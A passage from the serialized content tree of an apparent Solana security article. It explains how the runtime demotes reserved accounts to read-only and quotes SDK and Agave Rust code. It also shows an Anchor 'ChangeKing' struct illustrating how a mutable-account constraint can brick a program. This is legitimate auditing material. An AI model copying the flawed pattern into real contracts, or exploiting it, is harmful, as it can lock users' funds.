&HashSet\u003CPubkey>) -> Self {\n let is_writable_account_cache = message\n .account_keys\n .iter()\n .enumerate()\n .map(|(i, _key)| {\n message.is_writable_index(i)\n && !reserved_account_keys.contains(&message.account_keys[i])\n && !message.demote_program_id(i)\n })\n .collect::\u003CVec\u003C_>>();\n Self {\n message: Cow::Owned(message),\n is_writable_account_cache,\n }\n }\n}\n\n// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/legacy.rs#L642-L644\npub fn demote_program_id(&self, i: usize) -> bool {\n self.is_key_called_as_program(i) && !self.is_upgradeable_loader_present()\n}\n\n",[72853],{"type":23,"tag":38,"props":72854,"children":72855},{"__ignoreMap":7},[72856,72864,72888,72976,72997,73009,73025,73041,73089,73118,73172,73208,73216,73253,73265,73303,73315,73322,73329,73336,73343,73351,73411,73464],{"type":23,"tag":141,"props":72857,"children":72858},{"class":143,"line":144},[72859],{"type":23,"tag":141,"props":72860,"children":72861},{"style":443},[72862],{"type":29,"value":72863},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/sanitized.rs#L39-L55\n",{"type":23,"tag":141,"props":72865,"children":72866},{"class":143,"line":180},[72867,72871,72876,72880,72884],{"type":23,"tag":141,"props":72868,"children":72869},{"style":449},[72870],{"type":29,"value":26879},{"type":23,"tag":141,"props":72872,"children":72873},{"style":725},[72874],{"type":29,"value":72875}," LegacyMessage",{"type":23,"tag":141,"props":72877,"children":72878},{"style":154},[72879],{"type":29,"value":21594},{"type":23,"tag":141,"props":72881,"children":72882},{"style":725},[72883],{"type":29,"value":1743},{"type":23,"tag":141,"props":72885,"children":72886},{"style":154},[72887],{"type":29,"value":5955},{"type":23,"tag":141,"props":72889,"children":72890},{"class":143,"line":205},[72891,72895,72899,72903,72907,72911,72915,72920,72924,72929,72933,72938,72942,72946,72951,72955,72959,72963,72967,72972],{"type":23,"tag":141,"props":72892,"children":72893},{"style":449},[72894],{"type":29,"value":19515},{"type":23,"tag":141,"props":72896,"children":72897},{"style":449},[72898],{"type":29,"value":12373},{"type":23,"tag":141,"props":72900,"children":72901},{"style":184},[72902],{"type":29,"value":30401},{"type":23,"tag":141,"props":72904,"children":72905},{"style":154},[72906],{"type":29,"value":192},{"type":23,"tag":141,"props":72908,"children":72909},{"style":750},[72910],{"type":29,"value":66519},{"type":23,"tag":141,"props":72912,"children":72913},{"style":160},[72914],{"type":29,"value":114},{"type":23,"tag":141,"props":72916,"children":72917},{"style":154},[72918],{"type":29,"value":72919}," legacy",{"type":23,"tag":141,"props":72921,"children":72922},{"style":160},[72923],{"type":29,"value":2141},{"type":23,"tag":141,"props":72925,"children":72926},{"style":725},[72927],{"type":29,"value":72928},"Message",{"type":23,"tag":141,"props":72930,"children":72931},{"style":154},[72932],{"type":29,"value":480},{"type":23,"tag":141,"props":72934,"children":72935},{"style":750},[72936],{"type":29,"value":72937},"reserved_account_keys",{"type":23,"tag":141,"props":72939,"children":72940},{"style":160},[72941],{"type":29,"value":114},{"type":23,"tag":141,"props":72943,"children":72944},{"style":160},[72945],{"type":29,"value":5815},{"type":23,"tag":141,"props":72947,"children":72948},{"style":725},[72949],{"type":29,"value":72950},"HashSet",{"type":23,"tag":141,"props":72952,"children":72953},{"style":154},[72954],{"type":29,"value":4480},{"type":23,"tag":141,"props":72956,"children":72957},{"style":725},[72958],{"type":29,"value":20070},{"type":23,"tag":141,"props":72960,"children":72961},{"style":154},[72962],{"type":29,"value":19118},{"type":23,"tag":141,"props":72964,"children":72965},{"style":160},[72966],{"type":29,"value":12435},{"type":23,"tag":141,"props":72968,"children":72969},{"style":449},[72970],{"type":29,"value":72971}," Self",{"type":23,"tag":141,"props":72973,"children":72974},{"style":154},[72975],{"type":29,"value":1951},{"type":23,"tag":141,"props":72977,"children":72978},{"class":143,"line":218},[72979,72983,72988,72992],{"type":23,"tag":141,"props":72980,"children":72981},{"style":449},[72982],{"type":29,"value":1725},{"type":23,"tag":141,"props":72984,"children":72985},{"style":750},[72986],{"type":29,"value":72987}," is_writable_account_cache",{"type":23,"tag":141,"props":72989,"children":72990},{"style":160},[72991],{"type":29,"value":1674},{"type":23,"tag":141,"props":72993,"children":72994},{"style":750},[72995],{"type":29,"value":72996}," message\n",{"type":23,"tag":141,"props":72998,"children":72999},{"class":143,"line":227},[73000,73004],{"type":23,"tag":141,"props":73001,"children":73002},{"style":160},[73003],{"type":29,"value":1828},{"type":23,"tag":141,"props":73005,"children":73006},{"style":154},[73007],{"type":29,"value":73008},"account_keys\n",{"type":23,"tag":141,"props":73010,"children":73011},{"class":143,"line":241},[73012,73016,73021],{"type":23,"tag":141,"props":73013,"children":73014},{"style":160},[73015],{"type":29,"value":1828},{"type":23,"tag":141,"props":73017,"children":73018},{"style":184},[73019],{"type":29,"value":73020},"iter",{"type":23,"tag":141,"props":73022,"children":73023},{"style":154},[73024],{"type":29,"value":6410},{"type":23,"tag":141,"props":73026,"children":73027},{"class":143,"line":262},[73028,73032,73037],{"type":23,"tag":141,"props":73029,"children":73030},{"style":160},[73031],{"type":29,"value":1828},{"type":23,"tag":141,"props":73033,"children":73034},{"style":184},[73035],{"type":29,"value":73036},"enumerate",{"type":23,"tag":141,"props":73038,"children":73039},{"style":154},[73040],{"type":29,"value":6410},{"type":23,"tag":141,"props":73042,"children":73043},{"class":143,"line":271},[73044,73048,73052,73056,73060,73064,73068,73072,73077,73081,73085],{"type":23,"tag":141,"props":73045,"children":73046},{"style":160},[73047],{"type":29,"value":1828},{"type":23,"tag":141,"props":73049,"children":73050},{"style":184},[73051],{"type":29,"value":65584},{"type":23,"tag":141,"props":73053,"children":73054},{"style":154},[73055],{"type":29,"value":192},{"type":23,"tag":141,"props":73057,"children":73058},{"style":160},[73059],{"type":29,"value":9096},{"type":23,"tag":141,"props":73061,"children":73062},{"style":154},[73063],{"type":29,"value":192},{"type":23,"tag":141,"props":73065,"children":73066},{"style":750},[73067],{"type":29,"value":2404},{"type":23,"tag":141,"props":73069,"children":73070},{"style":154},[73071],{"type":29,"value":480},{"type":23,"tag":141,"props":73073,"children":73074},{"style":750},[73075],{"type":29,"value":73076},"_key",{"type":23,"tag":141,"props":73078,"children":73079},{"style":154},[73080],{"type":29,"value":1788},{"type":23,"tag":141,"props":73082,"children":73083},{"style":160},[73084],{"type":29,"value":9096},{"type":23,"tag":141,"props":73086,"children":73087},{"style":154},[73088],{"type":29,"value":1951},{"type":23,"tag":141,"props":73090,"children":73091},{"class":143,"line":293},[73092,73097,73101,73106,73110,73114],{"type":23,"tag":141,"props":73093,"children":73094},{"style":750},[73095],{"type":29,"value":73096}," message",{"type":23,"tag":141,"props":73098,"children":73099},{"style":160},[73100],{"type":29,"value":322},{"type":23,"tag":141,"props":73102,"children":73103},{"style":184},[73104],{"type":29,"value":73105},"is_writable_index",{"type":23,"tag":141,"props":73107,"children":73108},{"style":154},[73109],{"type":29,"value":192},{"type":23,"tag":141,"props":73111,"children":73112},{"style":750},[73113],{"type":29,"value":2404},{"type":23,"tag":141,"props":73115,"children":73116},{"style":154},[73117],{"type":29,"value":758},{"type":23,"tag":141,"props":73119,"children":73120},{"class":143,"line":801},[73121,73126,73130,73134,73138,73143,73147,73151,73155,73159,73164,73168],{"type":23,"tag":141,"props":73122,"children":73123},{"style":160},[73124],{"type":29,"value":73125}," &&",{"type":23,"tag":141,"props":73127,"children":73128},{"style":160},[73129],{"type":29,"value":1258},{"type":23,"tag":141,"props":73131,"children":73132},{"style":750},[73133],{"type":29,"value":72937},{"type":23,"tag":141,"props":73135,"children":73136},{"style":160},[73137],{"type":29,"value":322},{"type":23,"tag":141,"props":73139,"children":73140},{"style":184},[73141],{"type":29,"value":73142},"contains",{"type":23,"tag":141,"props":73144,"children":73145},{"style":154},[73146],{"type":29,"value":192},{"type":23,"tag":141,"props":73148,"children":73149},{"style":160},[73150],{"type":29,"value":1770},{"type":23,"tag":141,"props":73152,"children":73153},{"style":750},[73154],{"type":29,"value":66519},{"type":23,"tag":141,"props":73156,"children":73157},{"style":160},[73158],{"type":29,"value":322},{"type":23,"tag":141,"props":73160,"children":73161},{"style":154},[73162],{"type":29,"value":73163},"account_keys[",{"type":23,"tag":141,"props":73165,"children":73166},{"style":750},[73167],{"type":29,"value":2404},{"type":23,"tag":141,"props":73169,"children":73170},{"style":154},[73171],{"type":29,"value":53920},{"type":23,"tag":141,"props":73173,"children":73174},{"class":143,"line":810},[73175,73179,73183,73187,73191,73196,73200,73204],{"type":23,"tag":141,"props":73176,"children":73177},{"style":160},[73178],{"type":29,"value":73125},{"type":23,"tag":141,"props":73180,"children":73181},{"style":160},[73182],{"type":29,"value":1258},{"type":23,"tag":141,"props":73184,"children":73185},{"style":750},[73186],{"type":29,"value":66519},{"type":23,"tag":141,"props":73188,"children":73189},{"style":160},[73190],{"type":29,"value":322},{"type":23,"tag":141,"props":73192,"children":73193},{"style":184},[73194],{"type":29,"value":73195},"demote_program_id",{"type":23,"tag":141,"props":73197,"children":73198},{"style":154},[73199],{"type":29,"value":192},{"type":23,"tag":141,"props":73201,"children":73202},{"style":750},[73203],{"type":29,"value":2404},{"type":23,"tag":141,"props":73205,"children":73206},{"style":154},[73207],{"type":29,"value":758},{"type":23,"tag":141,"props":73209,"children":73210},{"class":143,"line":824},[73211],{"type":23,"tag":141,"props":73212,"children":73213},{"style":154},[73214],{"type":29,"value":73215}," })\n",{"type":23,"tag":141,"props":73217,"children":73218},{"class":143,"line":839},[73219,73223,73228,73232,73236,73240,73244,73248],{"type":23,"tag":141,"props":73220,"children":73221},{"style":160},[73222],{"type":29,"value":1828},{"type":23,"tag":141,"props":73224,"children":73225},{"style":184},[73226],{"type":29,"value":73227},"collect",{"type":23,"tag":141,"props":73229,"children":73230},{"style":160},[73231],{"type":29,"value":2141},{"type":23,"tag":141,"props":73233,"children":73234},{"style":154},[73235],{"type":29,"value":4480},{"type":23,"tag":141,"props":73237,"children":73238},{"style":725},[73239],{"type":29,"value":15887},{"type":23,"tag":141,"props":73241,"children":73242},{"style":154},[73243],{"type":29,"value":4480},{"type":23,"tag":141,"props":73245,"children":73246},{"style":750},[73247],{"type":29,"value":1743},{"type":23,"tag":141,"props":73249,"children":73250},{"style":154},[73251],{"type":29,"value":73252},">>();\n",{"type":23,"tag":141,"props":73254,"children":73255},{"class":143,"line":848},[73256,73261],{"type":23,"tag":141,"props":73257,"children":73258},{"style":449},[73259],{"type":29,"value":73260}," Self",{"type":23,"tag":141,"props":73262,"children":73263},{"style":154},[73264],{"type":29,"value":1951},{"type":23,"tag":141,"props":73266,"children":73267},{"class":143,"line":2304},[73268,73273,73277,73282,73286,73291,73295,73299],{"type":23,"tag":141,"props":73269,"children":73270},{"style":750},[73271],{"type":29,"value":73272}," message",{"type":23,"tag":141,"props":73274,"children":73275},{"style":160},[73276],{"type":29,"value":114},{"type":23,"tag":141,"props":73278,"children":73279},{"style":725},[73280],{"type":29,"value":73281}," Cow",{"type":23,"tag":141,"props":73283,"children":73284},{"style":160},[73285],{"type":29,"value":2141},{"type":23,"tag":141,"props":73287,"children":73288},{"style":184},[73289],{"type":29,"value":73290},"Owned",{"type":23,"tag":141,"props":73292,"children":73293},{"style":154},[73294],{"type":29,"value":192},{"type":23,"tag":141,"props":73296,"children":73297},{"style":750},[73298],{"type":29,"value":66519},{"type":23,"tag":141,"props":73300,"children":73301},{"style":154},[73302],{"type":29,"value":5410},{"type":23,"tag":141,"props":73304,"children":73305},{"class":143,"line":2313},[73306,73311],{"type":23,"tag":141,"props":73307,"children":73308},{"style":750},[73309],{"type":29,"value":73310}," is_writable_account_cache",{"type":23,"tag":141,"props":73312,"children":73313},{"style":154},[73314],{"type":29,"value":2168},{"type":23,"tag":141,"props":73316,"children":73317},{"class":143,"line":2335},[73318],{"type":23,"tag":141,"props":73319,"children":73320},{"style":154},[73321],{"type":29,"value":2008},{"type":23,"tag":141,"props":73323,"children":73324},{"class":143,"line":2343},[73325],{"type":23,"tag":141,"props":73326,"children":73327},{"style":154},[73328],{"type":29,"value":299},{"type":23,"tag":141,"props":73330,"children":73331},{"class":143,"line":2352},[73332],{"type":23,"tag":141,"props":73333,"children":73334},{"style":154},[73335],{"type":29,"value":2573},{"type":23,"tag":141,"props":73337,"children":73338},{"class":143,"line":2421},[73339],{"type":23,"tag":141,"props":73340,"children":73341},{"emptyLinePlaceholder":15},[73342],{"type":29,"value":719},{"type":23,"tag":141,"props":73344,"children":73345},{"class":143,"line":2429},[73346],{"type":23,"tag":141,"props":73347,"children":73348},{"style":443},[73349],{"type":29,"value":73350},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/legacy.rs#L642-L644\n",{"type":23,"tag":141,"props":73352,"children":73353},{"class":143,"line":2459},[73354,73358,73362,73367,73371,73375,73379,73383,73387,73391,73395,73399,73403,73407],{"type":23,"tag":141,"props":73355,"children":73356},{"style":449},[73357],{"type":29,"value":12368},{"type":23,"tag":141,"props":73359,"children":73360},{"style":449},[73361],{"type":29,"value":12373},{"type":23,"tag":141,"props":73363,"children":73364},{"style":184},[73365],{"type":29,"value":73366}," demote_program_id",{"type":23,"tag":141,"props":73368,"children":73369},{"style":154},[73370],{"type":29,"value":192},{"type":23,"tag":141,"props":73372,"children":73373},{"style":160},[73374],{"type":29,"value":1770},{"type":23,"tag":141,"props":73376,"children":73377},{"style":449},[73378],{"type":29,"value":12391},{"type":23,"tag":141,"props":73380,"children":73381},{"style":154},[73382],{"type":29,"value":480},{"type":23,"tag":141,"props":73384,"children":73385},{"style":750},[73386],{"type":29,"value":2404},{"type":23,"tag":141,"props":73388,"children":73389},{"style":160},[73390],{"type":29,"value":114},{"type":23,"tag":141,"props":73392,"children":73393},{"style":725},[73394],{"type":29,"value":12409},{"type":23,"tag":141,"props":73396,"children":73397},{"style":154},[73398],{"type":29,"value":1748},{"type":23,"tag":141,"props":73400,"children":73401},{"style":160},[73402],{"type":29,"value":12435},{"type":23,"tag":141,"props":73404,"children":73405},{"style":725},[73406],{"type":29,"value":10730},{"type":23,"tag":141,"props":73408,"children":73409},{"style":154},[73410],{"type":29,"value":1951},{"type":23,"tag":141,"props":73412,"children":73413},{"class":143,"line":2467},[73414,73418,73422,73427,73431,73435,73439,73443,73447,73451,73455,73460],{"type":23,"tag":141,"props":73415,"children":73416},{"style":449},[73417],{"type":29,"value":19458},{"type":23,"tag":141,"props":73419,"children":73420},{"style":160},[73421],{"type":29,"value":322},{"type":23,"tag":141,"props":73423,"children":73424},{"style":184},[73425],{"type":29,"value":73426},"is_key_called_as_program",{"type":23,"tag":141,"props":73428,"children":73429},{"style":154},[73430],{"type":29,"value":192},{"type":23,"tag":141,"props":73432,"children":73433},{"style":750},[73434],{"type":29,"value":2404},{"type":23,"tag":141,"props":73436,"children":73437},{"style":154},[73438],{"type":29,"value":1748},{"type":23,"tag":141,"props":73440,"children":73441},{"style":160},[73442],{"type":29,"value":71680},{"type":23,"tag":141,"props":73444,"children":73445},{"style":160},[73446],{"type":29,"value":1258},{"type":23,"tag":141,"props":73448,"children":73449},{"style":449},[73450],{"type":29,"value":12391},{"type":23,"tag":141,"props":73452,"children":73453},{"style":160},[73454],{"type":29,"value":322},{"type":23,"tag":141,"props":73456,"children":73457},{"style":184},[73458],{"type":29,"value":73459},"is_upgradeable_loader_present",{"type":23,"tag":141,"props":73461,"children":73462},{"style":154},[73463],{"type":29,"value":6410},{"type":23,"tag":141,"props":73465,"children":73466},{"class":143,"line":2499},[73467],{"type":23,"tag":141,"props":73468,"children":73469},{"style":154},[73470],{"type":29,"value":2573},{"type":23,"tag":32,"props":73472,"children":73473},{},[73474],{"type":29,"value":73475},"As you can see, there are two main causes of write-demotion:",{"type":23,"tag":116,"props":73477,"children":73478},{},[73479,73491],{"type":23,"tag":120,"props":73480,"children":73481},{},[73482,73484],{"type":29,"value":73483},"The account appears in the ",{"type":23,"tag":55,"props":73485,"children":73488},{"href":73486,"rel":73487},"https://github.com/anza-xyz/agave/blob/cd76bf6b8da8ec3739f0df4e087de0e50028b034/reserved-account-keys/src/lib.rs#L142-L182",[59],[73489],{"type":29,"value":73490},"reserved account list",{"type":23,"tag":120,"props":73492,"children":73493},{},[73494],{"type":29,"value":73495},"The account is invoked as a program without the upgradable loader being present in the transaction.",{"type":23,"tag":32,"props":73497,"children":73498},{},[73499],{"type":29,"value":73500},"The second case is generally covered by the executable check implemented previously.",{"type":23,"tag":32,"props":73502,"children":73503},{},[73504],{"type":29,"value":73505},"The first case, however, is far more dangerous — it can silently break your program logic without any obvious cause. Let’s dig deeper into that.",{"type":23,"tag":17563,"props":73507,"children":73509},{"id":73508},"the-reserved-account-list",[73510],{"type":29,"value":73511},"The Reserved Account List",{"type":23,"tag":32,"props":73513,"children":73514},{},[73515,73517,73522],{"type":29,"value":73516},"The Solana runtime maintains a ",{"type":23,"tag":55,"props":73518,"children":73520},{"href":73486,"rel":73519},[59],[73521],{"type":29,"value":73490},{"type":29,"value":73523},", which includes addresses with special semantics — such as built-in programs, precompiles, and sysvars.",{"type":23,"tag":32,"props":73525,"children":73526},{},[73527,73529,73536,73538,73543],{"type":29,"value":73528},"These accounts may initially behave like normal accounts. However, once they become reserved after a ",{"type":23,"tag":55,"props":73530,"children":73533},{"href":73531,"rel":73532},"https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474",[59],[73534],{"type":29,"value":73535},"feature gate is actived",{"type":29,"value":73537},", the runtime will ",{"type":23,"tag":3998,"props":73539,"children":73540},{},[73541],{"type":29,"value":73542},"automatically demote them to read-only",{"type":29,"value":73544},", even if the transaction marked them as writable.",{"type":23,"tag":131,"props":73546,"children":73548},{"className":1639,"code":73547,"language":1638,"meta":7,"style":7},"// https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474\n// Update active set of reserved account keys which are not allowed to be write locked\nself.reserved_account_keys = {\n let mut reserved_keys = ReservedAccountKeys::clone(&self.reserved_account_keys);\n reserved_keys.update_active_set(&self.feature_set);\n Arc::new(reserved_keys)\n};\n",[73549],{"type":23,"tag":38,"props":73550,"children":73551},{"__ignoreMap":7},[73552,73560,73568,73592,73646,73684,73713],{"type":23,"tag":141,"props":73553,"children":73554},{"class":143,"line":144},[73555],{"type":23,"tag":141,"props":73556,"children":73557},{"style":443},[73558],{"type":29,"value":73559},"// https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474\n",{"type":23,"tag":141,"props":73561,"children":73562},{"class":143,"line":180},[73563],{"type":23,"tag":141,"props":73564,"children":73565},{"style":443},[73566],{"type":29,"value":73567},"// Update active set of reserved account keys which are not allowed to be write locked\n",{"type":23,"tag":141,"props":73569,"children":73570},{"class":143,"line":205},[73571,73575,73579,73584,73588],{"type":23,"tag":141,"props":73572,"children":73573},{"style":449},[73574],{"type":29,"value":12391},{"type":23,"tag":141,"props":73576,"children":73577},{"style":160},[73578],{"type":29,"value":322},{"type":23,"tag":141,"props":73580,"children":73581},{"style":154},[73582],{"type":29,"value":73583},"reserved_account_keys ",{"type":23,"tag":141,"props":73585,"children":73586},{"style":160},[73587],{"type":29,"value":1377},{"type":23,"tag":141,"props":73589,"children":73590},{"style":154},[73591],{"type":29,"value":1951},{"type":23,"tag":141,"props":73593,"children":73594},{"class":143,"line":218},[73595,73599,73603,73608,73612,73617,73621,73625,73629,73633,73637,73641],{"type":23,"tag":141,"props":73596,"children":73597},{"style":449},[73598],{"type":29,"value":1659},{"type":23,"tag":141,"props":73600,"children":73601},{"style":449},[73602],{"type":29,"value":1664},{"type":23,"tag":141,"props":73604,"children":73605},{"style":750},[73606],{"type":29,"value":73607}," reserved_keys",{"type":23,"tag":141,"props":73609,"children":73610},{"style":160},[73611],{"type":29,"value":1674},{"type":23,"tag":141,"props":73613,"children":73614},{"style":725},[73615],{"type":29,"value":73616}," ReservedAccountKeys",{"type":23,"tag":141,"props":73618,"children":73619},{"style":160},[73620],{"type":29,"value":2141},{"type":23,"tag":141,"props":73622,"children":73623},{"style":184},[73624],{"type":29,"value":14097},{"type":23,"tag":141,"props":73626,"children":73627},{"style":154},[73628],{"type":29,"value":192},{"type":23,"tag":141,"props":73630,"children":73631},{"style":160},[73632],{"type":29,"value":1770},{"type":23,"tag":141,"props":73634,"children":73635},{"style":449},[73636],{"type":29,"value":12391},{"type":23,"tag":141,"props":73638,"children":73639},{"style":160},[73640],{"type":29,"value":322},{"type":23,"tag":141,"props":73642,"children":73643},{"style":154},[73644],{"type":29,"value":73645},"reserved_account_keys);\n",{"type":23,"tag":141,"props":73647,"children":73648},{"class":143,"line":227},[73649,73654,73658,73663,73667,73671,73675,73679],{"type":23,"tag":141,"props":73650,"children":73651},{"style":750},[73652],{"type":29,"value":73653}," reserved_keys",{"type":23,"tag":141,"props":73655,"children":73656},{"style":160},[73657],{"type":29,"value":322},{"type":23,"tag":141,"props":73659,"children":73660},{"style":184},[73661],{"type":29,"value":73662},"update_active_set",{"type":23,"tag":141,"props":73664,"children":73665},{"style":154},[73666],{"type":29,"value":192},{"type":23,"tag":141,"props":73668,"children":73669},{"style":160},[73670],{"type":29,"value":1770},{"type":23,"tag":141,"props":73672,"children":73673},{"style":449},[73674],{"type":29,"value":12391},{"type":23,"tag":141,"props":73676,"children":73677},{"style":160},[73678],{"type":29,"value":322},{"type":23,"tag":141,"props":73680,"children":73681},{"style":154},[73682],{"type":29,"value":73683},"feature_set);\n",{"type":23,"tag":141,"props":73685,"children":73686},{"class":143,"line":241},[73687,73692,73696,73700,73704,73709],{"type":23,"tag":141,"props":73688,"children":73689},{"style":725},[73690],{"type":29,"value":73691}," Arc",{"type":23,"tag":141,"props":73693,"children":73694},{"style":160},[73695],{"type":29,"value":2141},{"type":23,"tag":141,"props":73697,"children":73698},{"style":184},[73699],{"type":29,"value":13799},{"type":23,"tag":141,"props":73701,"children":73702},{"style":154},[73703],{"type":29,"value":192},{"type":23,"tag":141,"props":73705,"children":73706},{"style":750},[73707],{"type":29,"value":73708},"reserved_keys",{"type":23,"tag":141,"props":73710,"children":73711},{"style":154},[73712],{"type":29,"value":758},{"type":23,"tag":141,"props":73714,"children":73715},{"class":143,"line":262},[73716],{"type":23,"tag":141,"props":73717,"children":73718},{"style":154},[73719],{"type":29,"value":1357},{"type":23,"tag":17563,"props":73721,"children":73723},{"id":73722},"consequences-silent-failures-and-bricked-programs",[73724],{"type":29,"value":73725},"Consequences: Silent Failures and Bricked Programs",{"type":23,"tag":32,"props":73727,"children":73728},{},[73729],{"type":29,"value":73730},"This behavior is especially dangerous when you constrain a program to be writable, for example, with anchor, it's pretty common to use the account(mut) constraint:",{"type":23,"tag":131,"props":73732,"children":73734},{"className":1639,"code":73733,"language":1638,"meta":7,"style":7},"#[derive(Accounts)]\npub struct ChangeKing\u003C'info> {\n #[account(mut)]\n pub throne: Account\u003C'info, Throne>,\n\n #[account(mut, constraint = old_king.key() == throne.king)]\n pub old_king: AccountInfo\u003C'info>,\n\n #[account(mut)]\n pub new_king: AccountInfo\u003C'info>,\n\n #[account(mut)]\n pub payer: Signer\u003C'info>,\n}\n",[73735],{"type":23,"tag":38,"props":73736,"children":73737},{"__ignoreMap":7},[73738,73753,73780,73795,73834,73841,73888,73919,73926,73941,73972,73979,73994,74025],{"type":23,"tag":141,"props":73739,"children":73740},{"class":143,"line":144},[73741,73745,73749],{"type":23,"tag":141,"props":73742,"children":73743},{"style":154},[73744],{"type":29,"value":21509},{"type":23,"tag":141,"props":73746,"children":73747},{"style":725},[73748],{"type":29,"value":21514},{"type":23,"tag":141,"props":73750,"children":73751},{"style":154},[73752],{"type":29,"value":18930},{"type":23,"tag":141,"props":73754,"children":73755},{"class":143,"line":180},[73756,73760,73764,73768,73772,73776],{"type":23,"tag":141,"props":73757,"children":73758},{"style":449},[73759],{"type":29,"value":12368},{"type":23,"tag":141,"props":73761,"children":73762},{"style":449},[73763],{"type":29,"value":19823},{"type":23,"tag":141,"props":73765,"children":73766},{"style":725},[73767],{"type":29,"value":69793},{"type":23,"tag":141,"props":73769,"children":73770},{"style":154},[73771],{"type":29,"value":21594},{"type":23,"tag":141,"props":73773,"children":73774},{"style":725},[73775],{"type":29,"value":21599},{"type":23,"tag":141,"props":73777,"children":73778},{"style":154},[73779],{"type":29,"value":5955},{"type":23,"tag":141,"props":73781,"children":73782},{"class":143,"line":205},[73783,73787,73791],{"type":23,"tag":141,"props":73784,"children":73785},{"style":154},[73786],{"type":29,"value":21801},{"type":23,"tag":141,"props":73788,"children":73789},{"style":449},[73790],{"type":29,"value":2389},{"type":23,"tag":141,"props":73792,"children":73793},{"style":154},[73794],{"type":29,"value":18930},{"type":23,"tag":141,"props":73796,"children":73797},{"class":143,"line":218},[73798,73802,73806,73810,73814,73818,73822,73826,73830],{"type":23,"tag":141,"props":73799,"children":73800},{"style":449},[73801],{"type":29,"value":19515},{"type":23,"tag":141,"props":73803,"children":73804},{"style":750},[73805],{"type":29,"value":69832},{"type":23,"tag":141,"props":73807,"children":73808},{"style":160},[73809],{"type":29,"value":114},{"type":23,"tag":141,"props":73811,"children":73812},{"style":725},[73813],{"type":29,"value":21766},{"type":23,"tag":141,"props":73815,"children":73816},{"style":154},[73817],{"type":29,"value":21594},{"type":23,"tag":141,"props":73819,"children":73820},{"style":725},[73821],{"type":29,"value":21599},{"type":23,"tag":141,"props":73823,"children":73824},{"style":154},[73825],{"type":29,"value":480},{"type":23,"tag":141,"props":73827,"children":73828},{"style":725},[73829],{"type":29,"value":69857},{"type":23,"tag":141,"props":73831,"children":73832},{"style":154},[73833],{"type":29,"value":4812},{"type":23,"tag":141,"props":73835,"children":73836},{"class":143,"line":227},[73837],{"type":23,"tag":141,"props":73838,"children":73839},{"emptyLinePlaceholder":15},[73840],{"type":29,"value":719},{"type":23,"tag":141,"props":73842,"children":73843},{"class":143,"line":241},[73844,73848,73852,73856,73860,73864,73868,73872,73876,73880,73884],{"type":23,"tag":141,"props":73845,"children":73846},{"style":154},[73847],{"type":29,"value":21801},{"type":23,"tag":141,"props":73849,"children":73850},{"style":449},[73851],{"type":29,"value":2389},{"type":23,"tag":141,"props":73853,"children":73854},{"style":154},[73855],{"type":29,"value":69892},{"type":23,"tag":141,"props":73857,"children":73858},{"style":160},[73859],{"type":29,"value":1377},{"type":23,"tag":141,"props":73861,"children":73862},{"style":154},[73863],{"type":29,"value":69901},{"type":23,"tag":141,"props":73865,"children":73866},{"style":160},[73867],{"type":29,"value":322},{"type":23,"tag":141,"props":73869,"children":73870},{"style":154},[73871],{"type":29,"value":69910},{"type":23,"tag":141,"props":73873,"children":73874},{"style":160},[73875],{"type":29,"value":7251},{"type":23,"tag":141,"props":73877,"children":73878},{"style":154},[73879],{"type":29,"value":69832},{"type":23,"tag":141,"props":73881,"children":73882},{"style":160},[73883],{"type":29,"value":322},{"type":23,"tag":141,"props":73885,"children":73886},{"style":154},[73887],{"type":29,"value":69927},{"type":23,"tag":141,"props":73889,"children":73890},{"class":143,"line":262},[73891,73895,73899,73903,73907,73911,73915],{"type":23,"tag":141,"props":73892,"children":73893},{"style":449},[73894],{"type":29,"value":19515},{"type":23,"tag":141,"props":73896,"children":73897},{"style":750},[73898],{"type":29,"value":69901},{"type":23,"tag":141,"props":73900,"children":73901},{"style":160},[73902],{"type":29,"value":114},{"type":23,"tag":141,"props":73904,"children":73905},{"style":725},[73906],{"type":29,"value":24082},{"type":23,"tag":141,"props":73908,"children":73909},{"style":154},[73910],{"type":29,"value":21594},{"type":23,"tag":141,"props":73912,"children":73913},{"style":725},[73914],{"type":29,"value":21599},{"type":23,"tag":141,"props":73916,"children":73917},{"style":154},[73918],{"type":29,"value":4812},{"type":23,"tag":141,"props":73920,"children":73921},{"class":143,"line":271},[73922],{"type":23,"tag":141,"props":73923,"children":73924},{"emptyLinePlaceholder":15},[73925],{"type":29,"value":719},{"type":23,"tag":141,"props":73927,"children":73928},{"class":143,"line":293},[73929,73933,73937],{"type":23,"tag":141,"props":73930,"children":73931},{"style":154},[73932],{"type":29,"value":21801},{"type":23,"tag":141,"props":73934,"children":73935},{"style":449},[73936],{"type":29,"value":2389},{"type":23,"tag":141,"props":73938,"children":73939},{"style":154},[73940],{"type":29,"value":18930},{"type":23,"tag":141,"props":73942,"children":73943},{"class":143,"line":801},[73944,73948,73952,73956,73960,73964,73968],{"type":23,"tag":141,"props":73945,"children":73946},{"style":449},[73947],{"type":29,"value":19515},{"type":23,"tag":141,"props":73949,"children":73950},{"style":750},[73951],{"type":29,"value":70000},{"type":23,"tag":141,"props":73953,"children":73954},{"style":160},[73955],{"type":29,"value":114},{"type":23,"tag":141,"props":73957,"children":73958},{"style":725},[73959],{"type":29,"value":24082},{"type":23,"tag":141,"props":73961,"children":73962},{"style":154},[73963],{"type":29,"value":21594},{"type":23,"tag":141,"props":73965,"children":73966},{"style":725},[73967],{"type":29,"value":21599},{"type":23,"tag":141,"props":73969,"children":73970},{"style":154},[73971],{"type":29,"value":4812},{"type":23,"tag":141,"props":73973,"children":73974},{"class":143,"line":810},[73975],{"type":23,"tag":141,"props":73976,"children":73977},{"emptyLinePlaceholder":15},[73978],{"type":29,"value":719},{"type":23,"tag":141,"props":73980,"children":73981},{"class":143,"line":824},[73982,73986,73990],{"type":23,"tag":141,"props":73983,"children":73984},{"style":154},[73985],{"type":29,"value":21801},{"type":23,"tag":141,"props":73987,"children":73988},{"style":449},[73989],{"type":29,"value":2389},{"type":23,"tag":141,"props":73991,"children":73992},{"style":154},[73993],{"type":29,"value":18930},{"type":23,"tag":141,"props":73995,"children":73996},{"class":143,"line":839},[73997,74001,74005,74009,74013,74017,74021],{"type":23,"tag":141,"props":73